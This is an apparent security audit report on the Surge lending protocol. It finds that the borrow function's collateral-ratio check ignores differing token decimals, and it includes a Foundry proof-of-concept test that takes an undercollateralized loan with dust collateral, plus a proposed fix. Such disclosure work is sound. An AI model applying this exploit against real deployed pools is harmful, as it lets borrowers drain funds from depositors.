joestakey

high

# Borrowers can get undercollateralized loans if loan and collateral tokens have different decimals

## Summary
Because the collateralization ratio checks in `borrow` does not work when the two tokens have different decimals, borrowers can get undercollateralized loans.

## Vulnerability Detail
When borrowing, the function checks the debt does not exceed the maximum collateralization ratio:

```solidity
src/Pool.sol
474: uint userCollateralRatioMantissa = userDebt * 1e18 / collateralBalanceOf[msg.sender];
475:         require(userCollateralRatioMantissa <= _currentCollateralRatioMantissa, "Pool: user collateral ratio too high");
```

The issue is that `userDebt` is in `LOAN_TOKEN` decimals, while `collateralBalanceOf[msg.sender]` is in `COLLATERAL_TOKEN` decimals.

This means `userCollateralRatioMantissa` value will be greater or lower than expected if the tokens have different decimals.

If `COLLATERAL_TOKEN` decimals has higher decimals than `LOAN_TOKEN`, a user will be able to get an undercollateralized loan.

Let us take the example of a `DAI/USDC` pool (`DAI` collateral, `USDC` loan). For simplicity the `MAX_COLLATERAL_RATIO_MANTISSA` will be 100%:

- Bob `deposits` `200 USDC` in the pool.
- Alice calls `addCollateral`, adding `1e-10 DAI` to the pool (ie `100e6` wei.)
- Alice calls `borrow(Alice, 100 USDC)`.  
- `userCollateralRatioMantissa = userDebt * 1e18 / collateralBalanceOf[msg.sender]`
-                             `= 100e6 * 1e18 / 100e6`
-                             `= 1e18`
- This passes the collateralization check, and the function call succeeds
- Alice managed to borrow `100 USDC` for free (she only deposited dust `DAI` as collateral).

Add the following test to `Pool.t.sol`:
```Solidity
function testAuditUnderCollateralizedLoanDecimals() external {
        MockERC20 collateralToken = new MockERC20(1000e18, 18); // DAI
        MockERC20 loanToken = new MockERC20(1000e6, 6); //USDC
        address Alice = address(1);
        collateralToken.mint(Alice, 100e18);

        Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 1e18, 0.8e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        
        // 1- We deposit 100 USDC in the pool
        loanToken.approve(address(pool), 200e6);
        pool.deposit(200e6);
        
        vm.startPrank(Alice);
        // 2- Alice adds 1e-10 DAI (1e8 wei) as collateral
        collateralToken.approve(address(pool), 100e6);
        pool.addCollateral(Alice, 100e6); 

        // 3- Alice borrows 100 USDC
        uint256 balanceAliceBefore = loanToken.balanceOf(Alice);
        pool.borrow(100e6);

        uint256 balanceAliceAfter = loanToken.balanceOf(Alice);
        uint256 balanceAliceDAI = collateralToken.balanceOf(Alice);

        // 4- Alice has borrowed 100 USDC, and still has her 100 DAI (minus that dust used for collateralization)
        assertApproxEqRel(balanceAliceAfter - balanceAliceBefore, 100e6, 1e16); //1% delta
        assertApproxEqRel(balanceAliceDAI, 100e18, 1e16); //1% delta
        vm.stopPrank();
    }
```

Note that you also need to add the following function to `MockERC20.sol`

```solidity
function mint(address to, uint amount) external {
    balanceOf[to] += amount;
}
```

## Impact
Borrowers can get undercollateralized loans and steal from depositors.

In the other situation (loan token has greater decimals than collateral), users with enough collateral will not be able to get a loan.

## Code Snippet
https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L474

## Tool used
Manual Review, Foundry

## Recommendation
```diff
src/Pool.sol
-474: uint userCollateralRatioMantissa = userDebt * 1e18 / collateralBalanceOf[msg.sender];
+474: uint userCollateralRatioMantissa = COLLATERAL_TOKEN.decimals > LOAN_TOKEN.decimals ?
+       userDebt * 1e18 * 10**(COLLATERAL_TOKEN.decimals - LOAN_TOKEN.decimals) / collateralBalanceOf[msg.sender]
+       :
+       userDebt * 1e18  / collateralBalanceOf[msg.sender] / 10**(LOAN_TOKEN.decimals - COLLATERAL_TOKEN.decimals);
475:         require(userCollateralRatioMantissa <= _currentCollateralRatioMantissa, "Pool: user collateral ratio too high");
```